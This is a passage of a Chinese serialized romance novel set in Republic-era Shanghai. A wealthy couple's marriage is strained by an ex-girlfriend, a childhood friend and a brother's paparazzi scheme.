凌栖珵去了休息区坐,跟杭景妍说道:“挑你喜欢的。”
杭景妍在老板的陪同下逛了整座店,最后挑了一条湖蓝色斜肩长裙,和深红色深v鱼尾裙。
试了两条,都感觉不错,尤其是那条红色深v长裙,衬得她高贵冷艳。
她穿着它站在凌栖珵面前转圈:“怎么样?”
凌栖珵从杂志中抬眼,眼中闪过惊艳,深红衣裙配着莹白的肌肤,给人极强的视觉冲击,性感,张扬,美艳。
一旁的老板还在推销,“太太穿这个颜色最衬肤色了。”
凌栖珵不动声色:“太性感了,换了。”
本来杭景妍还不是一定要这条裙子,听他这么说,叛逆精神上来了,就是要对着干。
她吩咐老板:“我就要这条了。”
老板看着夫妻二人抬杠,一时不知道听谁的,“这?”
杭景妍生气道:“无论如何,我今天一定要穿这条裙子,你不买,我自己出钱买。”
凌栖珵知道她倔脾气上来了,也觉得自己太大男子主义了。
“嗯,听你的。”
而后又吩咐老板:“带她去做个头发,再去选下首饰和鞋子。”
一个小时后,杭景妍在店员的带领下,穿着深v长裙,烫着大波浪,并把头发拨向左肩,带上亮晶晶的钻石,提着手包,脚踩白色高跟缓缓下楼。
凌栖珵站起来,给手臂给她挽住,称赞:“今晚,你会是上海滩最闪耀的焦点,就是太露了。”
“现在是新女性时代,收起你那些封建思想。”
“是,亲爱的最大,我的错。”
李氏面粉厂的十周年酒会酒会在凌氏旗下酒店举办。
凌栖珵和杭景妍稍稍晚了一些时候到。
打开宴会厅大门,酒会上所有目光顿时汇聚在他们两身上,成为众人的焦点。
李氏面粉厂的老板率先迎接,“栖珵,盼星星盼月亮终于把你盼来了。”
凌栖珵和李氏老板寒暄,并介绍了杭景妍:“这是我妻子,杭景妍。”
李老板客气恭维:“这就是杭府千金吧,早就听说过,今天得见,果然是光彩照人。”
杭景妍也客气:“李老板谬赞了。”
李老板:“你们吃好玩好。”
凌栖珵带着杭景妍应付了几位老板。
刚有空闲,便听到一女声:“栖珵。”
杭景妍转过头去,报纸上的画面,终于有了生动的脸,这不就是她丈夫大名鼎鼎的前女友,刚刚回国的,杨络漪。
35. 第 35 章
杭景妍注视着对方缓缓走来。对方穿着一袭淡黄色洋装,青春靓丽中带着俏皮灵动,一颦一笑中带着娇俏。
最终站定在她和凌栖珵面前,从容地打招呼:“栖珵,好久不见。”
男人没太大的反应,淡淡道:“嗯。”
杭景妍暗暗观察身边人的反应。男人英俊的脸庞没有丝毫表情。薄唇紧抿着,眼中墨色深沉。没有丝毫她臆想中的喜悦和惊喜。
她估计是恨死对方了。
但她故作不知问身边男人:“栖珵,这位美女是?你的旧识?”
面前的美女不等男人介绍,对着她微笑,自报家门道:“这位想必就是杭小姐吧。你好,初次见面,我是杨洛漪。”
杭景妍也扬起笑容道:“百闻不如一见。早就听说杨小姐倾国倾城,现在看来所言不虚,杨小姐果然是比照片上更漂亮。”
对方如此恭维,杨洛漪也客气称赞道:“杭小姐今天也格外的光彩照人。怎么,杭小姐之前见过我?”
杭景妍语带讽刺道:“杨小姐鼎鼎大名,谁人不知谁人不晓。”
凌栖珵听到妻子的话,转头凝视她,带着疑惑,她是否知道什么。生怕她误会。
杨洛漪听出对方的讽刺,但又无法说什么。僵硬地扯出一抹笑容道:“杭小姐客气了,只不过是虚名罢了。”
凌栖珵拉过妻子的手,用眼神无声的询问。
杭景妍权当看不见。
凌栖珵手指分开杭景妍的手,与她十指相扣,像是对她解释:“景妍,杨小姐曾经与我是高中同学,算是旧识。只不过后来杨小姐攀上了高枝,出国留学。我们便再也没见过。一晃几年过去了,真是岁月匆匆。杨小姐,别来无恙。”
说完他把手从杭景妍手中抽出,搂着她的肩膀:“这位是我的妻子。颜料大王杭正则的女儿,杭景妍。”
“杨小姐既然来这儿,想必还有很多事情要忙,我们夫妻便不奉陪了。”他举起手中香槟是示意,轻抿杯中酒,便把酒杯放入身边走动的侍者托盘中,搂着杭景妍离开此地。
两人走到后院花园一处椅子中坐下,凌栖珵坐下拉过对方的手,语带紧张,“景妍,你知道了什么对吗?”
杭景妍怡然自得地随手拿过摆在桌子上的小零食小口小口地吃着,故意反问:“知道什么?知道她杨洛漪的名字,知道他是当初你爱得不生不死的初恋?知道当初她为了前程把你抛弃出国了?”
她边吃边点头:“这些我都知道了。
所有的话都说出来。凌栖珵反而如释重负。“你既然都知道了,别瞎想,虽然她回国了,但是对我来说,她永远是过去式。”
杭景妍带着嬉戏道:“真的吗?”
凌栖珵虔诚地凝视着他的妻子,语气沉重,像是作出庄严的承诺。“我的妻子是你,我此生的最爱也是你。任何人任何事都不能破坏我们的感情。”
杭景妍没想到对方能做出这么郑重的表白。突然被惊到了。有一丝不知所措,不知如何回应对方炽烈的情感。连忙转移话题。
“老公,我们去吃好吃的吧。”
面对妻子的转移话题。凌栖珵无奈的苦笑。
到底什么时候才能让她爱上自己。
前厅里,依然纸醉金迷,众人扔在推杯换盏。
杭景妍拉着丈夫来到自助餐台前,拿盘子给自己夹了几块点心垫垫肚子、为了穿礼服好看,她一晚上都没吃东西,坚持到这时候早已经饿得双脚发软,眼冒金星。但还是顾及自己的淑女形象,没有放开大吃,淑女般一小口一小口慢慢抿着。
一旁的凌栖珵带着纵容宠溺的笑容看着妻子吃东西,像小动物抱着自己心爱的宝物,小口抿着,带着一丝可爱。
他知道在这种场合,她已经够收敛了,让她这个吃货为了一场晚宴饿肚子实在是太难为她了。
杭景妍虽然吃得小心翼翼,但是嘴角仍然不可避免地粘到一些糕点的碎屑。
凌栖珵发现了,无奈地伸出手固定住她的头,“别动。”他伸手温柔抚过她的嘴角,“嘴角粘了碎末。”
“哦。可能不小心碰到的。“杭景妍从手提包中掏出化妆镜,对镜子察看自己的妆容,确定嘴角没有粘住东西,又继续吃了。
”栖珵!你们夫妻俩躲在这里享受美食,真是让我好找。“突然一位凌家商业上的合作伙伴上来搭腔、
杭景妍不想应付他,便推凌栖珵上前去应酬。自己仍然在这里享受美食。
这时突然有一位男士也到这里来取餐,杭景妍不想打扰到别人正想着让一让,一抬眼,正好与取餐的男士对视,两人皆是一愣。杭景妍觉得对方有一点眼熟,犹豫了好久才道:“你是刘承壁吗?东二巷那个?”
男人也带着疑惑道:“我是刘成壁,你是?景妍妹妹?”
听到对方确认杭景妍雀跃道:“对呀,没想到一别多年还能在这里见到你。成壁哥哥你这些年还好吗?”
刘成壁也没想到那么巧,高兴道:“我还好。我也没想到,那么多年过去了,景妍妹妹都出落成亭亭玉立的大姑娘了。”
”是啊,好久不见。成壁哥哥,你后来去哪了?“
刘成壁微笑回应:“后来我随父亲升迁搬去了北平。此次是回来上海是自己创业之故。
杭景妍听闻他将在上海久居,更是喜悦。“你要是创业路上遇何难事,可以来找我老公。对了,我结婚了,还来不及介绍我丈夫给你认识。”杭景妍转头在宴会上一□□头接耳的人中寻找凌栖珵的身影。
但他不知道去了哪里,巡视一圈都没见到。
”我丈夫去应酬去了。等下我给你引荐。”杭景妍拉着刘成壁到花园一角落座。“成壁哥哥你给我讲讲北平是怎样的,我还没去过北平呢。”
“好。”刘成壁带着宠溺的笑容答应。
时间在两人的笑谈中不知不觉的溜走。
凌栖珵应酬回来,却发现妻子已经不在原来的地方。
转头巡视会客厅一圈也没找到人,心里微慌。
生怕她出什么事。又担心她是不是还记恨着刚刚的事情负气而走。
思及此,一向沉着稳定的他慌乱不已,手也不受自己控制地颤抖。
他逼上双眼,强行逼迫自己冷静,先在花园和角落中寻找。
走到花园,不经意的转头,便看见花园一角的餐桌上,一对男女相谈盛欢。男的背对着他,他无法窥视对方的面容。女的便是他心急如焚慌忙寻找的妻子。
看到她没事,凌栖珵揪起的心渐渐放下。一股酸意却不知不觉侵入心房。
原来她
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的笑容,也会为别的男人绽放,而不是独属于他一人。
凌栖珵觉得他的心脏像泡在了柠檬汁中,每一次跳动都泛着酸疼。
他压下心中的酸涩走到妻子身边。
“你怎么跑到这里来了,让我好找。”
杭景妍寻声抬头。见凌栖珵应酬回来,站起身挽着他的手臂给刘成壁介绍:“成壁哥哥,这就是我丈夫,凌栖珵,上海商会的会长,凌氏的总理理。以后你有什么困难,跟他说,在沪上,没有他办不到的事情。”
而后给凌栖珵介绍:“这是刘成壁,我小时候的邻居,我们从小一起玩的,只是后来成壁哥哥随父亲职务调动去北平了,这次回上海是为了创业,以后他有什么困难你可要帮忙啊。小时候成壁哥哥最疼我了。”
刘成壁起身伸出手:“久仰凌氏集团总经理的大名,没想到你是景妍妹妹的丈夫,幸会。”
凌栖珵纵然有千般醋意,人前该有的礼数从未缺少。
他伸手回握。“我也非常荣幸认识刘公子,既然是景妍少时的玩伴,以后若有需求,尽管开口,景妍的朋友,就是我的朋友。”他也不等刘成壁继续客套,拉着杭景妍欲要离开:”时候不早了,我们夫妻俩还有事,刘公子请便。”
杭景妍被拉着跌跌撞撞离开,不满地扯回自己的手,”你干嘛。“一遍对刘成壁打招呼:“成壁哥哥,我先回家了,下次有空再聊。”
凌栖珵拉着杭景妍到自家车前,打发走了司机。打开后座车门,让她上车。而后自己也跟着坐进去。
车内没开灯,街边的路灯透过枝叶的间隙投射进车内,映照在男人的半边脸庞上,光影交错,一半的光明中一半在黑暗中,半明半昧,更显他五官深邃。
杭景妍见她老半天都不话,面无表情。疑惑:”你怎么了。“
男人把脸转向窗外,还是一言不发。
杭景妍见他这副谁欠了他八百万的表情,恍然大悟:”哦,你这是吃成壁哥哥的醋了。”
被戳破心事,凌栖珵有一瞬间的羞愧,他努力压下心中翻滚的怒意道:”你至于在我面前叫的那么亲热吗?”。
杭景妍坦坦荡荡道:“为什么不能这样叫,我这样是因为我问心无愧,不像某些人,对一些人一些事遮遮掩掩,我还没有乱吃飞醋,自己先倒打一耙。”
讲道某些事情,凌栖珵瞬间忘了‘成壁哥哥’的威胁,解释道:”景妍,我真的不知道她会出现在这里。我跟她真的一点关系都没有了。我像你保证,以后只要她出现的地方,我退避三舍。”
杭景妍一番话成功让理亏的自己瞬间扭转局面,占据道德制高点,扭转局势,控制局面。
“我可以不管你的事情,你也别干涉我的交友。”
"不行,我保证永远不会和杨洛漪私下见面,你也和你的‘成壁哥哥’保持距离。”
杭景妍才不会同意这荒唐的交换条件,“凌栖珵,你想得美,你不见面是你心虚,怕见多了旧情复燃,与我何干。而我和成壁哥哥清清白白,你要吃飞醋,你便吃去,我为何要照顾你的心情。连童年的玩伴也不能见,你是不是太霸道了?”
凌栖珵顿了顿,像是带了伤心绝望:“结婚那么久了,我在你心里就一点点地位都没有吗?连让你为我考虑一下都不应该吗?”
36. 第 36 章
凌栖珵语声哽咽,带着绝望的情绪,问道。
杭景妍被她的情绪镇住,她从来没见过他如此悲伤的语气。此刻她仿佛觉得自己是一个刽子手。
但片刻后便反应过来。
“凌栖珵,你别倒打一耙。到底是谁在谁心中没地位?是谁的前女友都舞到我面前来了?是谁在我面前斩钉截铁的保证过?我没跟你计较已经不错了,你还好意思来指责我。”
杭景妍越说越悲伤:“你知道在学校的时候,她们是怎么拿你的前女友来羞辱我的吗?你知道我为此受了多少委屈吗?我从来都没有跟你说过。现在这样你就受不了了?真是只许州官放火,不许百姓点灯!”说完她气愤地盯着对方,似一直不服输的小兔子,明明受尽委屈,却不示弱。
凌栖珵被怼的哑口无言,凌厉的气势也化为乌有,只带着满怀的心疼:“妍妍,对不起,我不知道,在我看不见的角落,你经受那么多。是谁欺负的你,我帮你报复回去。我跟她真的没什么,我错了,我不该怀疑你,我只是害怕会失去你。”
他边说边伸手欲给妻子抹眼泪。
杭景妍别过脸,躲过对方的手。转过身面向窗外,不想看到这个倒打一耙的男人。
“起来,去前面开车,别动手动脚的。”
凌栖珵继续安慰:“妍妍,都是我的错,你别哭了,对身体不好。”而后他绕道驾驶室,开车回府。
到了府上,杭景妍径直回了房间,没理绮绿的招呼,也没理迎接主人的橘气球。
重重地关上了房门。
绮绿不知两人发生了何事,小声询问跟在后面的姑爷。
“小姐,这是怎么了?谁惹她生气了?”
凌栖珵不想跟佣人掰扯,道:“这里没你的事了,回去休息吧。”
“哦。好”绮绿虽然,一知半解,但也不好探听主人的私事,便回去休息了。
凌栖珵来到门前,深吸一口气,放柔音调:“妍妍,我真的知错了,我不该怀疑你,不该乱吃飞醋。我保证,我跟杨洛漪不会再扯上任何关系,以后有她的地方我都退避三舍。你的成壁哥哥,以后有什么麻烦,我能帮的都尽量帮。可以了吗?”
门内仍然静悄悄,没有任何动静。
凌栖珵只好坐在门前沙发上等待,和一脸好奇,不知发生何事的橘气球对视。
对着它说话:“你妈妈把我赶出来了,这回她连你都不让进房了。”
橘气球听不懂人类的语言,给了他一眼‘王之蔑视’然后摇着尾巴悠哉离去。
等了许久,都没有动静,凌栖珵去了另外一间房洗澡,换洗衣物。
而后又出来在主卧房门前敲了敲,“妍妍,我真的知道错了,你别气坏了身体,累了就早点休息。”
说完又附在门上听里面的动静,里面还是悄无声息,“宝贝,你别生气了,我明天给你做好吃的赔罪,不然我叫珠宝铺的李老板带上最新上市的珠宝来,你看一下有什么喜欢的?我都送给你当做赔罪礼物。你出一下声,别让我担心。”
门里传出脚步声,凌栖珵立马退后两步,等来人开门,还没反应过来,面前一阵风刮过,有什么东西砸了过来,凌栖珵下意识伸手去接,发现是自己的枕头被子。
杭景妍余怒未消:“凌栖珵,你是不是觉得我只是你们家买来的一个物品?生气了用一点礼物哄一哄就好了。我的尊严和感情是可以用金钱量化的对吗?”
“妍妍,你误会了,我从没有那么想过。”
“我不想听你解释,今天你就去睡书房去好好反省吧!现在不想看到你这张脸。”杭景妍说完,关上了门。
眼看越描越黑,凌栖珵更是焦急:“妍妍,我真的从来没有用钱来践踏你感情的意思,我只是不知道怎么求得你的原谅。只要你愿意原谅我,你要我去做什么,我都愿意去做。你别伤心气坏了身体,我会担心。”
宴会上,杨洛漪失魂落魄的坐在一角,她想不通,为什么只是短短四年时间就能让那个对她言听计从,无限宠爱的男人变化如此之大。
整场宴会都是她在热脸倒贴,而对方视若罔闻。现在更是和妻子先行离去,把她一个人孤零零地扔在这里。
面对若有若无的无视,或认识或不认识的女眷的窃窃私语,她觉得这里实在是待不下去。
拿起包,去和主人公打个招呼,便离去。
杨洛漪走到酒店门口,站在门口招呼黄包车,可今天的黄包车好像和她作对似的,一辆辆都是载客的,等了好长时间,一辆空黄包车都没有等到。
穿着高跟鞋站得久了,脚跟酸痛。
正在她不知如何是好时,一辆汽车从酒店停车场出来,停在了她的面前。
车窗缓缓落下,露出一张英俊似妖孽的脸来,来人正是凌家二公子—凌栖珩。
杨洛漪后退了一步,待看清了车内坐的人,展颜一笑:“原来是二弟呀,好久不见,别来无恙。”
凌栖珩也没多废话,“嫂嫂,这是想去哪里,我载你一程。”
杨洛漪拒绝了:“不用了,二弟,我还是搭黄包车走吧。”
“怎么?嫂嫂是在宴会上见的冷脸不够多,还要在这里见黄包车的冷脸。既然如此,我就不奉陪了。”男人升起车窗欲走。
“等等。”杨洛漪喊道。绕道侧到另一边,拉开车门坐进去。
“有什么话就说吧。”直接了当。
“嫂嫂,真是爽快人。”
“既然如此,我就开门见山了,嫂子的日子想必也不好过,此翻回来是想回到我哥的身边。我俩做个交易如何?我帮你回到我哥的身边。”
“然后呢?你需要我付出什么?”杨洛漪问到。
“不需要你付出什么。我只需要你拆散他们两个,没有杭家的助力,我自然有办法和他斗。”
“可你能帮我什么?听你的口气,好像是需要我帮你吧。”
“你以为以你的本事,能缠得上他吗?能让他们夫妻俩产生误会吗?”凌栖珩反问道。
“到时候,我给你安排记者,你把握时机,给记者创造一点素材,这些照片自然就传遍各路小报,到时候,他有嘴也说不清。”男人思及此,得意大笑。
杨洛漪思考一番,同意了他的计谋。
隔天,杭景妍早早起来上
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学,一番洗漱出房门,凌栖珩已经坐在餐厅等她了。
餐桌上摆满了丰富的早餐。
看到她出来,男人嘴角噙着笑:“起来了,过来吃早餐。”
杭景妍上前,男人便立马站起来,抢先一步为她拉开了椅子,她撇了一眼,坐下。
拿起一碗粥喝起来:“绮绿的手艺真是越来越好了。”
凌栖珵道:“亲爱的,这是我大清早起来亲手为你做的。”
杭景妍讶异地抬眼看他。而后道:“其实你不用这样,经过一个晚上的思考,我想通了,我毕竟是被卖到你们家的,我没有资格生气,昨天都算我的错,你还是搬回来睡吧,也不用这样讨好我,我受不起。”
如此放低自我的言语让凌栖珵的心如泡在柠檬水中一般,酸疼不已。
他握住她的手道:“妍妍,我们结婚时间不短了,也共同经历了生死考验,难道你还没有看清我对你的心吗?”
杭景妍低头逃避对方炙热的眼神,试图从他手中抽回自己的手,奈何男人力气十足,挣脱不得。
“豪门中的真心太难得,我不敢妄想。”
“那好,我现在就告诉你,我喜欢你,我爱你,我希望能与你一生一世一双人,携手共度余生。一开始是你的与众不同吸引了我,但是随着进一步了解,你让我发现那个与我有着相同爱好,且不断坚守梦想的坚韧的内心,我爱你,就如另一个灵魂深处的我一般。”
人生第一次面对男人如此直接的表白,还是自己的丈夫,杭景妍顿时目瞪口呆。
凌栖珵继续道:“但是我知道我们并不像正常的情侣那样恋爱结婚,我们的婚姻掺杂了太多的利益。所以我没有要求你一开始就爱上我。我希望在日积月累的付出中让你看到我的真心,我认为我们还有很多时间,可是昨晚那个男人的出现,让我产生了非常严重的危机感,他参与了你的过去,那是我不曾有过的,独属于你们的经历,让我的嫉妒心疯狂生长。”
“所以在这段关系中,你不是被卖给我家的,你一直是被偏爱的。我只是希望得到你的一个保证,或者说,你爱我。”
“我,……”杭景妍尝试了几次,都无法开口说爱。
她回想昨晚自己的吃醋行为。或许就是因为在乎他,爱他,才那么在乎一个女人的出现,或许这就是爱?
自己什么时候爱上了对方。
是求婚时那浪漫的烛光晚餐?还是拼尽他半生收藏的相机的求婚礼物?或是生死关头中对方的舍命相护。
一桢桢,一幕幕,回想起来,无不让人动心沉沦。
或许都是,或许都不是,它们化作点滴汇入流向她心田的湖泊。
杭景妍手脚一阵慌乱,连忙喝几口粥掩饰。
“我真的跟他没什么,凌栖珵,凌大公子,有点自信,你比他优秀多了。你放心,不到万不得已,我不会抛夫弃子跟野男人跑的,你对自己有点信心,对你的产业有点信心。”
“人的真心,是任何产业都买不来的。”
“你放心,我的真心,你的产业绝对可以买得来。”杭景妍竖起两根手指,做严肃状指天发誓。
37. 第 37 章
课间午休,杭景妍一个人坐在窗边发呆。静冉从她背后过来,往她肩膀一拍。
杭景妍受惊转身,看清来人道:“是你啊!不要没事在背后吓人家,心脏病都被你吓出来了!”
静冉在一旁坐下问:“干嘛,一个人坐在这里伤春悲秋?你家大少爷惹你不高兴了?”
“没有,今天他向我表白了。”
“喔!这是天大的好事。你为什么看起来还不高兴?”
“因为他向我要承诺,他要我爱他!”
静冉听得一头雾水:“然后呢,你是觉得你不爱他?”
“也没有,结婚以来他对我一直很好,只是我觉得这就是普通丈夫对妻子的好,我没想过他会喜欢我,而在生死关头他舍命护我的时候,我动心过,在他前女友出现的时候我感觉我的心像泡了柠檬水一般,我不知道这种感觉算什么?算爱吗?”
静冉用一副看傻子的神情看着她:“只有爱一个人,才会生出占有欲?不然你觉得为什么你总是介意他的过去。”
杭景妍连忙辩解:“好歹我也是堂堂杭家大小姐,他要是闹出了什么丑事来,上了报纸,那不就是丢我的脸,我的尊严不允许这么被践踏。”
静冉被她一副冠冕堂皇的话语说无语了,一副我看你还有什么词狡辩的神情。
“好吧,我承认,我喜欢他,我不想他被抢走。”杭景妍无奈认命道。
“这话你不用跟我说,你应该去跟你老公说。他才是最想听到这句话的人。”
凌氏公司,凌栖珵在办公司忙碌了一上午,准备去吃饭,秘书突然敲门进来通告:“凌总,有一位姓杨的小姐,说是您的故人,想要约见你。”
“杨姓?”凌栖珵冷笑一声,今天早上与景妍说开了以后。他便下定决心,不在与杨洛漪接触。
他吩咐道:“说我没空,不见!还有,去凌氏大酒店给我订一份饭上来。”
凌氏一楼大堂外,杨洛漪等了许久想见凌栖珵一面,却只等到秘书下来道:“杨小姐,不好意思,我们凌总没空见你,你请回吧。”
好似不可置信一般,杨洛漪道:“不可能!你们知道我是谁吗?我是你们凌总的前女友。你们给我说了我的名字给他听吗?他不可能把我拒之门外!”
秘书小姐每天觉得来来往往的人多了,还是第一次见到这种撒泼的,但也不能发作,只好耐着性子和她解释:“杨小姐,这真的是凌总的吩咐,凌总真的在忙。要不你等她有时间再来?”
杨洛漪恢复了理智,知道和秘书纠缠也无用,只好先撤退。
她在凌氏大厦对面找了一家西餐厅喝咖啡,守株待兔。
等了一个下午,在五点半下班时候终于看到人从大堂电梯里走出。
她连忙从咖啡厅走出来堵人。
凌栖珵正准备上车,被她堵个正着。
杨洛漪委屈道:“凌栖珵,我是洪水猛兽吗?让你像躲瘟疫一样躲着我。”
“你来找我有什么事?我不认为我们现在还有什么必要私下见面,毕竟我是有家室的人,我要照顾我妻子的感受。”
轻描淡写的言语像一把刀,一寸寸地在杨洛漪心上凌迟着。
她声带委屈道:“栖珵,你一定要对我那么狠心吗?”
“杨小姐,你搞清楚,是你对我狠心,从四年前你抛下我出国起,我们就再也没有任何关系。你难道以为我会在原地里等你回来?让你召之即来,挥之即去。你把我当什么了?”
凌栖珵坐进车里,关上车门:“好了,杨小姐,该说的话,我已经说完了。好自为之。”
杨洛漪见一般情况下打动不了面前的男人,只好使出杀手锏:“你难道不想知道你亲爱的弟弟在昨晚你们走了以后,找上我跟我说了什么吗?”
此话一出,准备走人的凌栖珵落下车窗,问道:“你们俩怎么勾搭到一起去了?”
被他这样一说,杨洛漪很生气:“什么叫我们勾搭到一起去,是他自己来找我的。”
“他跟你说了什么?”凌栖珵问道。
见他上钩,杨洛漪立马道:“想知道?那我们去对面的咖啡馆好好聊聊。”
凌栖珵思考片刻,最终决定跟她去对面的咖啡馆。
两人一前一后走进咖啡馆,落座。
杨洛漪拿过餐单,招呼服务员点单。
询问男人道:“栖珵,你要喝什么,还是一杯冰咖啡吗?”
也不等对面男人的反应,直接招呼服务员。
“一杯美式冰咖啡,一杯卡布奇诺。”
等服务员走后,凌栖珵不耐烦道:“现在你可以说,他跟你说了什么吗?
“不急,陪我喝完这杯咖啡。我自会告诉你。”
凌栖珵不想跟他在这里拖延,但又害怕因此而错失凌栖珩的下一步行动。只好耐着性子陪着她。
而在无人注意的角落,一名记者偷偷拍下此场景。
“栖珵,你还记得以前我们总是一起漫步在上海的林荫小道上,寻找各式各样的咖啡馆,回想过去,这真是浪漫的回忆呀。”
凌栖珵对杨洛漪回忆过去的行为感到不耐烦:“你要是不想说,我走了。”
他站起来欲走,杨洛漪伸手拉住他的手腕,道:”我现在就那么让你厌烦吗?好,我不回忆过去了,你坐下我就说。“
杨洛漪确定了记者拍到了那些暧昧照片后,稳住男人的情绪。
而另一边,杭景妍经历了一天的思考,终于正视自己的内心。
她放学后准备去找凌栖珵,说完早上没明说的话。
然而车子刚刚开到凌氏大厦,她下车后,便看到对面咖啡馆橱窗内坐着两个人,一位是她熟悉不已的丈夫,他对面的那位便是她今生都不想看见的情敌,杨洛漪。
杭景妍觉得心脏像静止了,时间也静止了,她的世界瞬间变得寂静,她听不见声音,看不见其他人,眼前只有那对狗男女,心脏慢一拍传递出钝疼,像被刀子凌迟一般,她深呼吸缓解心痛,一时间不知道自己何去何从。她是应该冲上去给这对狗男女一人一巴掌,还是默默离开,当做没看见。
她呆呆站了许久,最后还是选择离开。
咖啡厅内,等待咖啡上来的凌栖珵百无聊赖随意往窗口望去。
那道熟悉的身影转身远去,他心下一慌,连忙站起身。
“我还有急事,先走了,你自己慢慢喝咖啡吧。”
“哎!栖珵!你去哪?等等
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我。”杨洛漪连忙追上去。
凌栖珵推开咖啡厅的大门追出去,只看到杭景妍上黄包车的身影。
他来不及多想,立马拔腿追黄包车。
追了一段路才追上黄包车。
抓着黄包车的斗篷,望着妻子,气喘吁吁:“你怎么到这边来了,是来找我的吗?”
还不等杭景妍回答,他立马解释:“你刚刚是不是看到了什么?你别误会,是她要跟我说凌栖珩的计划我才跟她去喝咖啡的,我已经严词拒绝了她的。景妍,你要相信我,千万别生我的气。”
“我有什么好生气的,只是想告诉你没有能力做到的事情,不要随便承诺别人。自己做不到的事情也不要要求别人。”
杭景妍也懒得和他在大街上拉扯让人看笑话。
“我没有生气,我也没有资格生你的气。回去吧,爱干什么干什么,我不干涉你,你放手让我回家。”
凌栖珵默默放开手。
杭景妍觉得手臂桎梏消失,吩咐黄包车重新启动。
看着渐渐远去的黄包车,凌栖珵反身回去上了自己停在咖啡厅门口车,追上去。
一路跟着黄包车回到家。
像做错事的小孩,但他又不敢主动和妻子说话,生怕这时候说错一个字会让事情火上浇油。
杭景妍把书包衣物交给绮绿,自己倒了一杯水坐在沙发上自顾自地喝着。
见凌栖珵跟着回来坐在她身边:“你跟着回来干什么?我都说了我没生气。该干什么干什么去吧。要陪美人也好,干什么也好,跟我无关!”
“怎么跟你无关,我下班后的私人时间都是你的,陪老婆就是最大的事。”
杭景妍说不过他,索性不理人。
此时,恰好橘气球慢悠悠走过来。
凌栖珵顺手把它一把抱在怀里,握住它的前爪和妻子打招呼,用它的口吻说话:“主人,你终于下班啦,带什么好东西回来给我呀?你看起来好像不开心哦?为什么呀?不管发生什么事,我永远陪在你的身边。”
杭景妍噗呲一声笑出声。
反手接过橘气球。
“气球,过来给妈妈抱抱。咱们别理他,油嘴滑舌的。”
凌栖珵倾斜身体从抱住她安慰:“别生气了,气多了,长皱纹。”
“我说了,我没生气。我也没资格生气。你从书房搬回来吧。”
"毕竟,是我家有求于你家。我也没有生气的权力,要求什么的权力。你想怎样便怎样。"
凌栖珵捂住她的嘴,语气稍沉,带着命令道:我不许你这样说自己,以后我再也不要听到你是卖到我家的话。你是自由的,从来都不是我的附属品。虽然我们的婚姻不是出自于自愿。但是我对你的感情是自愿的,我的感情从来都不是交易品。”
不知是得到了他的保证还是什么,杭景妍恢复了本性。
推开他捂住她嘴巴的手,语带指责,撒娇:“说的好听,我是自由的,一会让我别生气,一会命令我不许这样说话。还不是控制我吗?男人的嘴骗人的鬼。”
凌栖珵被她一阵强势夺理说无语了。
“好,娘子,我错了。你要怎么罚我都行,我只是希望你别气坏身体。”
38. 第 38 章
是夜,凌栖珵终于搬回到了主卧,把被子枕头放在床上,他找出睡衣去洗漱。
站在花洒下,水从头浇下,清凉透体,思绪瞬间清明。他回想今天下午发生的事。觉得一切都太过巧合,好像是有人故意为之。
杨洛漪怎么那么巧,就刚好出现在他下班的时刻。
她真的是要讲凌栖珩的阴谋?
凌栖珵重新回想她的行为,觉得太过反常,觉得不过实在拖延时间。
且不说她没有什么说的?就算真有什么,她为何愿意与他和盘托出?凌栖珵相信如今的她对自己没有半分感情,自己还没那么有魅力至此。
但他们那么做,十有八九是想让他和景妍离心。如果撤了杭家对他的助力,他必然元气大伤。
思及此,凌栖珵眸色深沉,杀气尽显。
看来他还是对这个弟弟太仁慈了。这一次他一定要斩草除根。
想通了事情,他穿好浴袍出来。
床上的杭景妍已经睡着了。
睡觉不老实的她,踢开了被子,半边身体裸露在外。
凌栖珵无奈地为她盖好被子,低头的一瞬间,无意看见她眼角滑落一滴泪,晶莹的泪珠无声的划过她洁白的脸庞,隐入枕巾之中。
这滴泪仿若滴在凌栖珵的心中,有千斤重,压着他喘不过气来,他虔诚地在她唇上落下一吻,道:对不起,妍妍。相信我,一切都会好起来的。”
他躺上另一边的床,搂着他的妻子,进入了梦乡。
城市的另一边。凌栖珩躺在自己的别墅里,左右右抱。一副吊儿郎当的模样欣赏着今天下午狗仔拍到的杰作。
啧啧称奇道:“这狗仔技术真的是一流。这照片拍得正是让人赏心悦目。”
“没想到你还是有点本事,看来我哥对你旧情未了。”他对着一旁坐着的杨洛漪道。
杨洛漪冷笑一声,轻蔑回道:“哪里有你有本事。这一切不都是你的计划吗?”
“哈哈哈。”凌栖珩仰天大笑,“你说我两这叫什么?狼狈为奸?”
“这叫各取所需。”杨洛漪回道。
“下面就看你了。”
“我明天就让这些照片见报!”
杨洛漪担心道:“听说之前,报社因为偷拍栖珵,已经被警告了。现在谁还敢冒天下之大不韪?”
凌栖珩放开手中搂着的小姐,坐直,弹了弹手中的照片,得意地望着对方道:“这你别管,我自有我的办法。”
果然隔天上学,杭景妍还没有走近教室,便觉得异常,一路上,遇到的人都用异样的眼神看着她。
等她进了教室,余知便开始冷嘲热讽起来:“呦,我当是谁?原来是准备扫出门的豪门弃妇来啦。”
杭景妍也毫不客气,回怼:怎么着?两天没打你,你嘴巴痒了,是吧?”
余知冷哼:“就知道你嘴巴硬。”她拿出报纸,拍到杭景妍面前,道:“看看吧,我就说人家一对金童玉女,多般配。你就是个凑数的,人家正主一回来,可不就被扫到一边了。”
杭景妍低头盯着上面的标题看,标题用加粗的大字写着,凌氏大少爷与旧爱亲密约会,疑似旧情复燃。
她顿时如五雷轰顶,心闷闷地疼,像被人猝不及防捅了一刀似的。外界一切的声音仿若已经远去。她世界一片寂静,只剩红红的大字刺痛双眼。
静冉察觉她的不对劲,在桌底下轻轻摇着她的手臂,希望能换回她的理智
“景妍,你清醒一点,这估计就是媒体的捕风捉影。一张照片不能说明什么,你稳住,别让有心之人看了笑话。”静冉在一旁小声说道。
杭景妍回过神,强势回怼:“一张照片能说明什么?只要我不让位,她就永远都见不得光。”说完当着余知一伙人的面撕烂了报纸。
强势如斯,余知一伙也不敢再挑衅。
只是不甘地放话:“死鸭子嘴硬,总有你哭的一天,我们走着瞧。”
静冉等她们一伙都走了,才安慰:“那些狗腿子就是仗势欺人,主子有点风吹草动,比主人还高兴,弄堂里的狗都没有他们殷勤。你别往心里去。”
“我知道,静冉,道理我都知道,这个场景我也亲眼所见,但是我就是做不到不在乎。”
“他跟我解释了,其实是她用栖珵弟弟的阴谋套他进去的。我估计栖珵也没有想到她会找记者偷拍吧。但是,我们说好的,不能他的事情曝光在媒体上,让人看我笑话,他食言了。我伤心,我生气”
“这件事情,他必须要给我一个交代。”
